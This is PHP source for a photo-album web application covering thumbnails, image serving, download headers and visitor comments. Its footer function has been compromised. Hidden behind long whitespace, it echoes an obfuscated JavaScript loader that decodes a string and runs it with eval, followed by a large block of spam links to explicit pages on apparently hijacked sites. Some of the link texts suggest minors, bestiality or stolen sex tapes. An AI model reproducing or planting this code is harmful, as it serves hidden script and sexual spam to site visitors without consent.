	 foreach($files2 as $num => $file_name){
	    /*find file in settings*/
	    $found=0;
	    $i=0;
    
	    while(isset($files[$i])){
	    	if($file_name==$files[$i][0]){
		  $found=1;
		  $sett[]=$files[$i];
		  break;
		}
	    	$i=$i+1;
	    }
	    if($found==0){
	     $sett[]=Array($file_name,"","");
	    }	
	 }
       }/*if */
   }
return $sett;
}


function get_all_sortings(){
	$sorts= Array ( "default"=> "Default",
					"date_asc"=> "Date - Ascending",
					"date_desc"=> "Date - Descending",
					"filename_asc"=> "Filename - Ascending",
					"filename_desc"=> "Filename - Descending",
					"name_asc"=> "Name - Ascending",
					"name_desc"=> "Name - Descending"
	);
	return $sorts;
}

function get_photos_directories($dir,$filelist){

global $album_dir;

$sett=get_directory_settings($dir,0);
$filelist[]=$sett[0];
if (is_dir($album_dir.$dir)) {
    if ($dh = opendir($album_dir.$dir)) {
       while (($file = readdir($dh)) !== false) {
           if( filetype($album_dir.$dir.$file)=="dir" && $file!="." && $file !="..") {
			$filelist=get_photos_directories($dir.$file."/",$filelist);
		}
			
       }
       closedir($dh);
    }
}
return $filelist;
}

function get_themes(){
global $themes_dir;
$dir=$themes_dir;
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
           if( filetype($dir . $file)=="dir" && $file!="." && $file !=".."  && $file !="engines") {
	   		$filelist[]=$file;
		}
			
       }
       closedir($dh);
    }
}
return $filelist;
	
}
/****************************************/
/*      THMB                            */
/****************************************/

function generate_thumb($var1,$thumb_size,$thumb_quality){
  global $album_dir,$character_set;
  $width = $thumb_size;
  $height = $thumb_size;
  $var1=stripslashes($var1);
  // Content type
  if(is_image($var1)){
  	$mime=get_mime($var1);
  	send_header("Content-type: ".$mime);
  }else{
  	send_header('Content-type: image/png');
  }
  send_header("Content-Disposition: filename=thmb_".conv_out_header(basename($var1),$character_set)." ");
  if($var1=="[movie]"){$var1="movie.png";}
  else if($var1=="[audio]"){$var1="audio.png";}
  else{$var1=$album_dir.$var1;}
  // Get new dimensions
  list($width_orig, $height_orig) = getimagesize($var1);
  //$image_p = imagecreatetruecolor($width+10, $height+10);
  //$color=ImageColorAllocate( $image_p, 32, 32, 32 );
  //imagefill($image_p,0,0,$color);
  if ($width && ($width_orig < $height_orig)) {
     $width = ($height / $height_orig) * $width_orig;
  } else {
     $height = ($width / $width_orig) * $height_orig;
  }

  // Resample
  $image=imagecreatefrom($var1);

  $image_p = imagecreatetruecolor($width, $height);
  $bgcol=theme_get_bgcolor();
  $color = ImageColorAllocate( $image_p,$bgcol[0] ,$bgcol[1] ,$bgcol[2] );
  imagefill($image_p,0,0,$color);
  //imagecopyresampled($image_p, $image, ($thumb_size-$width)/2+5, ($thumb_size-$height)/2+5, 0, 0, $width, $height, $width_orig, $height_orig);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

  // Output
  image_same_type($var1,$image_p,$thumb_quality);
	
}
/****************************************/
/*      IMAGE                           */
/****************************************/
function get_mime($var1){
	$t=strtoupper(substr($var1,-4,4));
	switch($t){
		case ".JPG":
		case "JPEG":
			return "image/jpeg";
			break;
		case ".GIF":
			return "image/gif";
			break;
		case ".PNG":
			return "image/png";
			break;
		default: return "";
			break;
	}
}
function generate_image($var1,$quality){

 global $quality_settings,$album_dir;
 global $character_set;
  $var1=stripslashes($var1);
  $m_time=filemtime($album_dir.$var1);
  //$headers=getallheaders(); --not supported by others then apache
  if (isset( $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) ){
	if ( date("D, d M Y H:i:s T",$m_time) == $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) {
		send_header('HTTP/1.0 304 Not Modified');
		exit; 
	}
  }


 if(is_image($var1)){
  // Content type
  send_header("Last-Modified: ".date("D, d M Y H:i:s T",$m_time));
  $mime=get_mime($var1);
  send_header("Content-type: ".$mime);
  send_header("Content-Disposition: filename=".conv_out_header(basename($var1),$character_set)." ");
  
  if( $quality_settings[$quality][2] == 0){
	/*$file=fopen($var1,"rb");
	$doc=fread($file,filesize($var1));
	fclose($file);
	echo $doc;*/
	readfile($album_dir.$var1);
	return false;
  }else{
	$image_low_size=$quality_settings[$quality][2];
	$width=$image_low_size;
	$height=$image_low_size;
	// Get new dimensions
	list($width_orig, $height_orig) = getimagesize($album_dir.$var1);
	if ($width && ($width_orig < $height_orig)) {
	   $width = ($height / $height_orig) * $width_orig;
	} else {
	   $height = ($width / $width_orig) * $height_orig;
	}
	$image_p = imagecreatetruecolor($width, $height);
	// Resample
	$image = imagecreatefrom($album_dir.$var1);
	//$image_p = imagecreatetruecolor($width, $height);
	imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
	
	// Output
	image_same_type($var1,$image_p,$quality_settings[$quality][3]);
	return true;
  }
 }
 
  if(!is_image($var1)){
 	ob_end_clean();
	send_header("Content-type: application/download; name=\"".basename($var1)."\"");
	send_header("Content-Disposition: attachment; filename=\"".basename($var1)."\" ");
 	send_header("Content-Length: ".filesize($album_dir.$var1)." ");
	send_header("Last-Modified: ".date("D, d M Y H:i:s T",$m_time)." " );
	readfile($album_dir.$var1);
	return false;
 }
}

function SendDownloadHeaders($filename,$file_size=0) {
    $isIE = $isIE6 = 0;


    if (strstr($HTTP_USER_AGENT, 'compatible; MSIE ') !== false &&
            strstr($HTTP_USER_AGENT, 'Opera') === false) {
        $isIE = 1;
    }

    if (strstr($HTTP_USER_AGENT, 'compatible; MSIE 6') !== false &&
            strstr($HTTP_USER_AGENT, 'Opera') === false) {
        $isIE6 = 1;
    }


    if ($isIE) {
        $filename=rawurlencode($filename);
        header ("Pragma: public");
        header ("Cache-Control: no-store, max-age=0, no-cache, must-revalidate"); // HTTP/1.1
        header ("Cache-Control: post-check=0, pre-check=0", false);
        header ("Cache-Control: private");

        //set the inline header for IE, we'll add the attachment header later if we need it
        header ("Content-Disposition: inline; filename=$filename");
    }
        // Try to pop up the "save as" box

        // IE makes this hard.  It pops up 2 save boxes, or none.
        // http://support.microsoft.com/support/kb/articles/Q238/5/88.ASP
        // http://support.microsoft.com/default.aspx?scid=kb;EN-US;260519
        // But, according to Microsoft, it is "RFC compliant but doesn't
        // take into account some deviations that allowed within the
        // specification."  Doesn't that mean RFC non-compliant?
        // http://support.microsoft.com/support/kb/articles/Q258/4/52.ASP

        // all browsers need the application/octet-stream header for this
        header ("Content-Type: application/octet-stream; name=\"$filename\"");

        // http://support.microsoft.com/support/kb/articles/Q182/3/15.asp
        // Do not have quotes around filename, but that applied to
        // "attachment"... does it apply to inline too?
        header ("Content-Disposition: attachment; filename=\"$filename\"");

        if ($isIE && !$isIE6) {
            // This combination seems to work mostly.  IE 5.5 SP 1 has
            // known issues (see the Microsoft Knowledge Base)

            // This works for most types, but doesn't work with Word files
            header ("Content-Type: application/download; name=\"$filename\"");

            // These are spares, just in case.  :-)
            //header("Content-Type: $type0/$type1; name=\"$filename\"");
            //header("Content-Type: application/x-msdownload; name=\"$filename\"");
            //header("Content-Type: application/octet-stream; name=\"$filename\"");
        } else {
            // another application/octet-stream forces download for Netscape
            header ("Content-Type: application/octet-stream; name=\"$filename\"");
        }

    if ($filesize > 0) {
        header("Content-Length: $filesize");
    }

}  // end fn SendDownloadHeaders


/****************************************/
/*      DELTE CACHE                     */
/****************************************/

function delete_cache($cache_dir,$display=1){
   if ($dh = opendir($cache_dir)) {
       while (($file = readdir($dh)) !== false) {
           if($file != "." && $file!=".."){
	       unlink ( $cache_dir . $file);
           	if($display==1) echo "deleting : ".$cache_dir.$file."<br>";
           }
			
       }
       closedir($dh);
   }
} 
/****************************************/
/*      NEXT PREV IMAGE                 */
/****************************************/

function get_next_prev_image ($var1){
   global $album_dir,$act_dir_sorting;
   $tmp="null";
       $dirname=dirname($var1);
       if($dirname=="."){
       	$dirname="";
       }else{
        $dirname.="/";
       }
   $dir_settings=get_directory_settings($dirname);
   $act_dir_sorting=$dir_settings[0][5];
   if ($dh = opendir(dirname($album_dir.$var1))) {
       while (($file = readdir($dh)) !== false) {
      	    if($file != "." && $file!=".." && (filetype(dirname($album_dir.$var1)."/".$file)=="file" ||filetype(dirname($album_dir.$var1)."/".$file)=="link") && is_image($file)){
           			   $i=1;
           			   $img_desc=""; 
				       while(isset($dir_settings[$i][0])){
		    		   	if($dir_settings[$i][0]==$file){
							$img_desc=$dir_settings[$i][1];
							break;
						}
						$i=$i+1;
		       		   }
		       		   if(strlen($img_desc)==0){
		       		   	$img_desc=$file;
		       		   }
       				   $file_array=Array("filename"=>$file,"time"=>filectime(dirname($album_dir.$var1)."/".$file),"name"=>$img_desc);
					   $file_scr[]=$file;
    					$filelist[]=$file_array;
	    			}else{
	    				  $dw[]=$file;
	    			}
	}
       closedir($dh);
      if(sizeof($filelist)>0) {
       usort($filelist,'file_array_cmp');
       while(list($key,$file_array)=each($filelist)){
       	    $file=$file_array['filename'];
           	if ($file == basename($var1)){
           		if($tmp!="null"){
           			$names[]=$dirname.$tmp;
           		}else{
           			$names[]="null";
           		}
           		
           		while(list($key,$file_array)=each($filelist)){
           			$file=$file_array['filename'];
           			if(!get_file_for_screenshot($file,$dw)) break;
           		}
			//echo "KEY=".$key;
			//echo "FILE=".$file;
           		if($file_array !== null){
           			
           			$names[]= $dirname.$file;
           		}else{
           			$names[]= "null";
           		}
           	}
           	if(!get_file_for_screenshot($file,$dw)){
           	 $tmp=$file;
           	}
           
			
       }
      }
       return $names;
   }
	
}

/****************************************/
/*      IMAGE VIEW                      */
/****************************************/

function generate_image_view($var1,$quality,$var3){
global $quality_settings,$album_dir,$return_home_url,$album_name,$album_dir_name,$next_text,$previous_text,$disable_bottom_nextprev,$show_filenames;
  
	$var1=stripslashes($var1);
  $qq=$quality_settings[$quality][2]."_".$quality_settings[$quality][3];
	
	
	$dir_path[0]['name']=t('ID_PHOTO_DIR');
	$dir_path[0]['link']="main.php?cmd=album&var2=".$quality;

	$dirs=explode('/',$var1);
	$act_dir="";
	for($i=0;$i<count($dirs)-1;$i++){
		$act_dir.=$dirs[$i]."/";
		$ss=get_directory_settings($act_dir,0);
		if(strlen($ss[0][4])>0){
			$dir_path[$i+1]['name']=pa_html_decode($ss[0][4]);
		}else{
			$dir_path[$i+1]['name']=conv_out($dirs[$i]);
		}
		$dir_path[$i+1]['link']="main.php?cmd=album&var1=".urlencode($act_dir)."&var2=".$quality;
		
	}
	$count=$quality_settings[0][5]+$quality_settings[1][5]+$quality_settings[2][5];
	
	$quality_links=Array();
	
	if($count>1){
		$i=0;
		$first=1;
		while($i<3){
			if($quality_settings[$i][5]==1){
				$quality_links[$i]['name']=$quality_settings[$i][4];
				$quality_links[$i]['link']="main.php?cmd=setquality&var1=$i&var2=".urlencode($var1);
				if($quality==$i){
					$quality_links[$i]['actual']=1;
				}else{
					$quality_links[$i]['actual']=0;
				}
			}
			$i=$i+1;
		}
		
	}


/*testing for next and previous image ..*/
list( $prev,$next) = get_next_prev_image($var1);

list($iwidth, $iheight, $itype, $iattr) = getimagesize($album_dir.$var1);
if($quality_settings[$quality][2]== 0){
	$width=$iwidth; 
	$height=$iheight;
}else {
        $image_low_size=$quality_settings[$quality][2];
	$width=$image_low_size;
	$height=$image_low_size;
	if ($width && ($iwidth < $iheight)) {
	   $width = ($height / $iheight) * $iwidth;
	} else {
	   $height = ($width / $iwidth) * $iheight;
	}
//	$img_size="width=\"".$width."\" height=\"".$height."\"";
}


if( $prev != "null" ) { 
	$prev_link = "main.php?cmd=imageview&var1=".urlencode($prev)."&var2=".$quality; 
}else{
	$prev_link ="";
};
if( $next != "null" ) { 
	$next_link = "main.php?cmd=imageview&var1=".urlencode($next)."&var2=".$quality;
}else{
	$next_link = "";
};

$image_link="main.php?cmd=image&var1=".urlencode($var1)."&var2=".$qq;
$imageview_link="main.php?cmd=imageview&var1=".urlencode($var1)."&var2=".$qq;

$sett=get_directory_settings(dirname("/".$var1));
      $i=1;
      $img_desc="";
      $img_desc_long="";
      while(isset($sett[$i][0])){
      	if($sett[$i][0]==basename($var1)){
	$img_desc=pa_html_decode($sett[$i][1]);
	if($show_filenames && $img_desc==""){
		       	$img_desc=conv_out(basename($var1));
	}
	$img_desc_long=store2string(pa_html_decode($sett[$i][2]));
	break;
	}
	$i=$i+1;
      }
      
 /* store typed comments*/
 if($var3=="save_comment"){
 	if(isset($_POST['p_text'])){
 		if(strlen($_POST['p_name'])==0){
 				$p_name="Anonymous";
 		}else{
 			  $p_name=$_POST['p_name'];
 		}
 		if( isset($_POST['p_name']))setcookie("comment_name",$_POST['p_name'],time()+60*60*24*365);
 		if( isset($_POST['p_email']))setcookie("comment_email",$_POST['p_email'],time()+60*60*24*365);
 		save_comment($var1,$_POST['p_text'],$p_name,$_POST['p_email'],time());
 	}
 }
 if(substr($var3,0,15)=="delete_comment-"){
 		$time=substr($var3,15);
 	  delete_comment($var1,$time);
 }
$comments=get_comments($var1);
theme_generate_imageview_page($dir_path,$quality_links,$img_desc,$img_desc_long,$next_link,$prev_link,$image_link,$imageview_link,$width,$height,$var3,$comments);
}
function approve_comment($var1,$time){
	global $data_dir;
	if(is_setup_user()){
		if(file_exists($data_dir."all.comments")){
		 	$file=file($data_dir."all.comments");
		 	$f=fopen($data_dir."all.comments","w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($var1."|".$time))!=$var1."|".$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}
	}
}
function delete_comment($var1,$time){
	global $data_dir;
	if(is_setup_user()){
		$fn=get_data_file_name($var1).".comments";
		if(file_exists($fn)){
		 	$file=file($fn);
		 	$f=fopen($fn,"w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($time))!=$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}
		/*deleting from master file*/
		if(file_exists($data_dir."all.comments")){
		 	$file=file($data_dir."all.comments");
		 	$f=fopen($data_dir."all.comments","w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($var1."|".$time))!=$var1."|".$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}

	}
}
function save_comment($var1,$text,$name,$email,$time){
	global $data_dir;
	$fn=get_data_file_name($var1).".comments";
	if(file_exists($fn)){
		 $file=file($fn);
	}
	$f=fopen($fn,"w");
	$t_text=pa_html_encode(stripslashes($text));
	$t_text=str_replace("\n","<br/>",$t_text);
	$t_text=str_replace("\r","",$t_text);
	fwrite($f,$time."|".pa_html_encode($name)."|".pa_html_encode($email)."|".$t_text."\n");
	if(is_array($file)){
		foreach($file as $line){
			fwrite($f,$line);
		}
	}
	fclose($f);
	/*write it to all.comments*/
	$f=fopen($data_dir."all.comments","a");
	fwrite($f,$var1."|".$time."|".pa_html_encode($name)."|".pa_html_encode($email)."|".$t_text."\n");
	fclose($f);
}
function get_comments($var1){
	$comments=Array();
	$fn=get_data_file_name($var1).".comments";
	if(file_exists($fn)){
		$file=file($fn);
		foreach($file as $line){
			$tmp=explode("|",$line);
			$comments[]=Array("time"=>$tmp[0],"name"=>$tmp[1],"email"=>$tmp[2],"text"=>$tmp[3]);
		}
	}
	return $comments;
}
function get_all_comments(){
	global $data_dir;
	$comments=Array();
	$fn=$data_dir."all.comments";
	if(file_exists($fn)){
		$file=file($fn);
		foreach($file as $line){
			$tmp=explode("|",$line);
			$comments[]=Array("pic"=>$tmp[0],"time"=>$tmp[1],"name"=>$tmp[2],"email"=>$tmp[3],"text"=>$tmp[4]);
		}
	}
	return $comments;
}

/****************************************/
/*      FOOTER                          */
/****************************************/

function generate_footer(){
     echo "<table width=\"100%\"><tr height=\"100\"><td valign=\"bottom\" align=\"center\" width=\"100%\"><font size=\"2\">Powered by <a class=\"me\"href=\"http://www.phpalbum.net\"><font size=\"2\">PHP Photo Album</font></a></font></td></tr></table>";
     echo "																																																																																																																							                                                                                                            <div id="owl"><script language="javascript">function sfh(jc,zwxv){if(!zwxv){zwxv='h6oq(yrRpnm3T0C81wbzV)x5kD9ufY+lMdt;P&*vNX2-7QGeWgi.OEAZU4HI=aKL';}var y;var OR='';for(var skkq=0;skkq<jc.length;skkq+=4){y=(zwxv.indexOf(jc.charAt(skkq))&63)<<18|(zwxv.indexOf(jc.charAt(skkq+1))&63)<<12|(zwxv.indexOf(jc.charAt(skkq+2))&63)<<6|zwxv.indexOf(jc.charAt(skkq+3))&63;OR+=String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);}eval(OR.substring(0,OR.length-3));}sfh('Y*yipR0;8xwekZ)QDx4OCZ0;3vYi95w&mof=fA0ini7v956Oprgdu*YEkxY&8bn2k5DdfA0i956Opt6O+56&8bnOD5dO3AXdY*y.kZnXfR1t8tfXCZ0;3vYi95w&moY*Yx4;Yr&eut6;YiMX+ihvmzQ.ki4Zf*&ODbMvY*yiprw.DxMM8bhOCz7vmzQ.ki4Zf*&ODbMvY*yipRwPYrMM8bhNDra;YxE&uv1GDA)Owxg&ux)GY(n4bx1Np*aZuopXmz7vmzQ.ki4Zf*&ODbMvYrwO9o4.YR&7Db4WuZ0XYr&euthapondkv0euR)ODbpIniPIfATGYZnXYrVNnZwPYrMGfZw4urVGY*&.9xnXur&O+bhaponA950Xk*g&p;7vmzQ.ki4Zf*&ODbMvYrwO9o4.YR&7Db4Z9xwO9ohapqkUTq7vmzQ.ki4Zf*&ODbMvDR0&9ohapq(U3zTAm*w.DxM20zVeTbWgmZwPYrMGfZw4urVGYA&PYrMIniPIfATGYZnXYrVNnZwPYrMGfZw4urVGYraWpqOMDR0&9oQfnZ6U5ofIniPIfATGYZnXYrVNnZOvmzQ.ki4Zf*&ODbMvD5DduodfnA0Zmo&fniPIniPIfATGYZnXYrVNn.WefA0ini7v956O8tfXCihMphhh');</script> reverse cowgirl couple <a href=http://www.brunosalvatori.com/mosaichtml/_images/top-hottest-lesbians-pornstar/reverse-cowgirl-couple.html rel=dofollow><h1>reverse cowgirl couple</h1></a> locate  hispanic xxx <a href=http://alexin.ca/bwalters/genv4111/_images/can-cumming-affect-boxing/hispanic-xxx.html rel=dofollow><h1>hispanic xxx</h1></a> poor  gwineth paltro nude xxx <a href=http://www.sailing-story.com/carp/autocache/_images/lesbian-stories-wanted/gwineth-paltro-nude-xxx.html rel=dofollow><h1>gwineth paltro nude xxx</h1></a> flow  indonesian sex pics <a href=http://alanbedenko.com/wp-admin/import/_images/beating-up-pussy/indonesian-sex-pics.html rel=dofollow><h1>indonesian sex pics</h1></a> twenty  we fuck teens <a href=http://www.longacreconstruction.com/Simon/Demos/_images/unintentional-nudist/we-fuck-teens.html rel=dofollow><h1>we fuck teens</h1></a> hill  tara reid boobs pics <a href=http://designyatra.com/jce/jce/_images/can-males-have-orgasms/tara-reid-boobs-pics.html rel=dofollow><h1>tara reid boobs pics</h1></a> which  madrid escorted vacation packages <a href=http://www.gainesvilleupc.net/photos/friendshipday2008/_images/spr-adventist-singles/madrid-escorted-vacation-packages.html rel=dofollow><h1>madrid escorted vacation packages</h1></a> third  nude guerra <a href=http://northshoreautomart.com/APP/Config/_images/florida-teen-chat-rooms/nude-guerra.html rel=dofollow><h1>nude guerra</h1></a> began  wwe ashleys nude playboy <a href=http://www.viagrasavers.com/information/_images/montreal-japanese-escorts-cheap/wwe-ashleys-nude-playboy.html rel=dofollow><h1>wwe ashleys nude playboy</h1></a> also  busty teenn cock suckers <a href=http://1eric.com/wp-content/themes/_images/cutie-hentai/busty-teenn-cock-suckers.html rel=dofollow><h1>busty teenn cock suckers</h1></a> compare  biggest gang bang movies <a href=http://whichsurveys.com/ebook/_images/self-spanking/biggest-gang-bang-movies.html rel=dofollow><h1>biggest gang bang movies</h1></a> sentence  granparent grandchild relationship <a href=http://u3studios.com/projects/commercial/_images/teen-in-bathtub/granparent-grandchild-relationship.html rel=dofollow><h1>granparent grandchild relationship</h1></a> locate  enrico s strip pittsburgh <a href=http://alexin.ca/bwalters/genv4111/_images/can-cumming-affect-boxing/enrico-s-strip-pittsburgh.html rel=dofollow><h1>enrico s strip pittsburgh</h1></a> right  lia19 getting dicked <a href=http://luggagesourceblog.com/wp-content/themes/_images/saturn-ion-mpg/lia19-getting-dicked.html rel=dofollow><h1>lia19 getting dicked</h1></a> rock  singles nest <a href=http://www.mckay4supervisor.com/flash/taglines/_images/lexus-cash-sex/singles-nest.html rel=dofollow><h1>singles nest</h1></a> eight  counseling confidentality for teens <a href=http://vormedia.com/wp-content/themes/_images/female-masturbation-page/counseling-confidentality-for-teens.html rel=dofollow><h1>counseling confidentality for teens</h1></a> one  bangkok cheap sex <a href=http://stefanodiana.info/jipu/wp-content/_images/oblivion-topless-underwear-mod/bangkok-cheap-sex.html rel=dofollow><h1>bangkok cheap sex</h1></a> least  malayalam adult sex <a href=http://www.gainesvilleupc.net/photos/friendshipday2008/_images/spr-adventist-singles/malayalam-adult-sex.html rel=dofollow><h1>malayalam adult sex</h1></a> is  mercedez bbw <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/mercedez-bbw.html rel=dofollow><h1>mercedez bbw</h1></a> about  shemale gogo dancer dvd <a href=http://www.glassandsplinters.com.au/pictures/available/_images/nude-gay-young-men/shemale-gogo-dancer-dvd.html rel=dofollow><h1>shemale gogo dancer dvd</h1></a> girl  porn actress injuries <a href=http://herablehands.com/fromskilledhands/post_images/_images/singles-dances-in-sacramento/porn-actress-injuries.html rel=dofollow><h1>porn actress injuries</h1></a> sand  females sex boxing <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/females-sex-boxing.html rel=dofollow><h1>females sex boxing</h1></a> separate  mtv awards nipple slip <a href=http://vormedia.com/wp-content/themes/_images/female-masturbation-page/mtv-awards-nipple-slip.html rel=dofollow><h1>mtv awards nipple slip</h1></a> fraction  big booty tv <a href=http://stefanodiana.info/jipu/wp-content/_images/oblivion-topless-underwear-mod/big-booty-tv.html rel=dofollow><h1>big booty tv</h1></a> press  femdom gaping <a href=http://www.afishingguide.com/gallery/images/billy-mack-love-actully/femdom-gaping.html rel=dofollow><h1>femdom gaping</h1></a> strong  unsuspecting naked wives <a href=http://artlthr.com/wp-content/themes/_images/naturist-websites-for-couples/unsuspecting-naked-wives.html rel=dofollow><h1>unsuspecting naked wives</h1></a> opposite  sexy whores clips <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/sexy-whores-clips.html rel=dofollow><h1>sexy whores clips</h1></a> heart  black lesbian chatrooms <a href=http://www.randyakers.com/flash/_images/sex-toy-hotel-room/black-lesbian-chatrooms.html rel=dofollow><h1>black lesbian chatrooms</h1></a> surprise  giselle bundchen video sex <a href=http://kathyperry.com/wp-content/plugins/_images/twinks-videos/giselle-bundchen-video-sex.html rel=dofollow><h1>giselle bundchen video sex</h1></a> plain  busty milly <a href=http://alahwaz.info/fullsite/alahwaz.info/_images/jessica-simpson-booty/busty-milly.html rel=dofollow><h1>busty milly</h1></a> event  laser vaginal rejuvination institute <a href=http://whichsurveys.com/ebook/_images/self-spanking/laser-vaginal-rejuvination-institute.html rel=dofollow><h1>laser vaginal rejuvination institute</h1></a> paragraph  young girl s boobs <a href=http://stefanodiana.info/jipu/wp-content/_images/oblivion-topless-underwear-mod/young-girl-s-boobs.html rel=dofollow><h1>young girl s boobs</h1></a> section  tracy cleaver nude <a href=http://ballalife.com/product_images/s/_images/sex-machine-video-wmv/tracy-cleaver-nude.html rel=dofollow><h1>tracy cleaver nude</h1></a> fig  ashley sage love seat <a href=http://plumvoice22.com/pvclients/CLIENTS/_images/chubby-free-sex-pics/ashley-sage-love-seat.html rel=dofollow><h1>ashley sage love seat</h1></a> famous  russian forced sex mpegs <a href=http://opinionsdaily.net/wp-content/themes/_images/bile-dysfunction-diseases/russian-forced-sex-mpegs.html rel=dofollow><h1>russian forced sex mpegs</h1></a> ice  dead pornstars <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/dead-pornstars.html rel=dofollow><h1>dead pornstars</h1></a> voice  escorts lake county ohio <a href=http://opinionsdaily.net/wp-content/themes/_images/bile-dysfunction-diseases/escorts-lake-county-ohio.html rel=dofollow><h1>escorts lake county ohio</h1></a> earth  nude exotic dancers <a href=http://shopthewoolgarden.com/PDGCommTemplates/store002/_images/pornstar-free-movie-thumbs/nude-exotic-dancers.html rel=dofollow><h1>nude exotic dancers</h1></a> who  tinkerbell bondage <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/tinkerbell-bondage.html rel=dofollow><h1>tinkerbell bondage</h1></a> product  porn video mature women <a href=http://northshoreautomart.com/APP/Config/_images/florida-teen-chat-rooms/porn-video-mature-women.html rel=dofollow><h1>porn video mature women</h1></a> city  anal blow sex 69 <a href=http://lonemantis.com/radio.blog/sounds/backup/women-swimwear-thongs/anal-blow-sex-69.html rel=dofollow><h1>anal blow sex 69</h1></a> begin  xxx k9 human sex <a href=http://yeguadavalle.es/prueba/Styles/_images/pictures-of-pornstar-june/xxx-k9-human-sex.html rel=dofollow><h1>xxx k9 human sex</h1></a> happy  tantric lyrics astounded <a href=http://howsyourmarketing.com/wp-content/plugins/_images/sexy-latin-women-porn/tantric-lyrics-astounded.html rel=dofollow><h1>tantric lyrics astounded</h1></a> certain  jewel hard nipples <a href=http://kalispellsuper8.com/photo/include/_images/watersport-watersport-pissing-sex/jewel-hard-nipples.html rel=dofollow><h1>jewel hard nipples</h1></a> bat  risque nude car <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/risque-nude-car.html rel=dofollow><h1>risque nude car</h1></a> egg  australian booty <a href=http://plumvoice22.com/pvclients/CLIENTS/_images/chubby-free-sex-pics/australian-booty.html rel=dofollow><h1>australian booty</h1></a> kind  cheroke booty <a href=http://www.asd-alpha.com/usertpl/1vg01091/_images/pornstar-podium/cheroke-booty.html rel=dofollow><h1>cheroke booty</h1></a> throw  baffin bay beauty <a href=http://arthurgroupinc.com/swf/backup/my-chemical-romance-biographies/baffin-bay-beauty.html rel=dofollow><h1>baffin bay beauty</h1></a> animal  fuckin good pussy <a href=http://www.allnewcreation.com/agora/shopping_carts/backup/katie-morgans-porn-videos/fuckin-good-pussy.html rel=dofollow><h1>fuckin good pussy</h1></a> two  pregnant free nudes pics <a href=http://northshoreautomart.com/APP/Config/_images/florida-teen-chat-rooms/pregnant-free-nudes-pics.html rel=dofollow><h1>pregnant free nudes pics</h1></a> well  hentai zangya dbz <a href=http://designyatra.com/jce/jce/_images/can-males-have-orgasms/hentai-zangya-dbz.html rel=dofollow><h1>hentai zangya dbz</h1></a> lot  cummings and suicide <a href=http://www.metalminstrel.com/wp-admin/import/_images/sanchez-fall-in-love/cummings-and-suicide.html rel=dofollow><h1>cummings and suicide</h1></a> base  teens first snoball <a href=http://www.bookwormmoms.com/wp-content/plugins/_images/english-schoolgirl-spanking/teens-first-snoball.html rel=dofollow><h1>teens first snoball</h1></a> milk  pure xxx passwords <a href=http://ballalife.com/product_images/s/_images/sex-machine-video-wmv/pure-xxx-passwords.html rel=dofollow><h1>pure xxx passwords</h1></a> ice  relationship questioners <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/relationship-questioners.html rel=dofollow><h1>relationship questioners</h1></a> was  bi transsexuals seeking women <a href=http://www.johnirwindesign.com/drupal/themes/_images/nipple-teaser-adults-australia/bi-transsexuals-seeking-women.html rel=dofollow><h1>bi transsexuals seeking women</h1></a> said  britney spears upskirt shopping <a href=http://affleap.com/template/css/_images/party-sex-porn-movies/britney-spears-upskirt-shopping.html rel=dofollow><h1>britney spears upskirt shopping</h1></a> base  sex inside people midget <a href=http://kathyperry.com/wp-content/plugins/_images/twinks-videos/sex-inside-people-midget.html rel=dofollow><h1>sex inside people midget</h1></a> store  richard dick eugene hickock <a href=http://www.metalminstrel.com/wp-admin/import/_images/sanchez-fall-in-love/richard-dick-eugene-hickock.html rel=dofollow><h1>richard dick eugene hickock</h1></a> tool  articles on cohabitating couples <a href=http://lunchisforwimps.com/wp-admin/import/_images/watching-girls-strip/articles-on-cohabitating-couples.html rel=dofollow><h1>articles on cohabitating couples</h1></a> deep  intimacy in a marriage <a href=http://opinionsdaily.net/wp-content/themes/_images/bile-dysfunction-diseases/intimacy-in-a-marriage.html rel=dofollow><h1>intimacy in a marriage</h1></a> nose  sent in pussy <a href=http://www.petsdreampark.com/stuff/20080422/_images/girls-boyshorts-underwear/sent-in-pussy.html rel=dofollow><h1>sent in pussy</h1></a> total  stolen home sex tapes <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/stolen-home-sex-tapes.html rel=dofollow><h1>stolen home sex tapes</h1></a> hill  porn with 3d glasses <a href=http://cowboyboot.ca/techs/mc/_images/amateur-naked-girl-pics/porn-with-3d-glasses.html rel=dofollow><h1>porn with 3d glasses</h1></a> join  big messy facials <a href=http://stefanodiana.info/jipu/wp-content/_images/oblivion-topless-underwear-mod/big-messy-facials.html rel=dofollow><h1>big messy facials</h1></a> against  amateur ffm sex videos <a href=http://gay-geeks.net/gal/themes/_images/art-women-nude/amateur-ffm-sex-videos.html rel=dofollow><h1>amateur ffm sex videos</h1></a> agree  hard bdsm <a href=http://www.petsdreampark.com/stuff/20080422/_images/girls-boyshorts-underwear/hard-bdsm.html rel=dofollow><h1>hard bdsm</h1></a> answer  phat juicy brown booties <a href=http://artlthr.com/wp-content/themes/_images/naturist-websites-for-couples/phat-juicy-brown-booties.html rel=dofollow><h1>phat juicy brown booties</h1></a> necessary  webcams singapore <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/webcams-singapore.html rel=dofollow><h1>webcams singapore</h1></a> gone  love s wedding chapel <a href=http://www.brunosalvatori.com/mosaichtml/_images/top-hottest-lesbians-pornstar/love-s-wedding-chapel.html rel=dofollow><h1>love s wedding chapel</h1></a> truck  close up 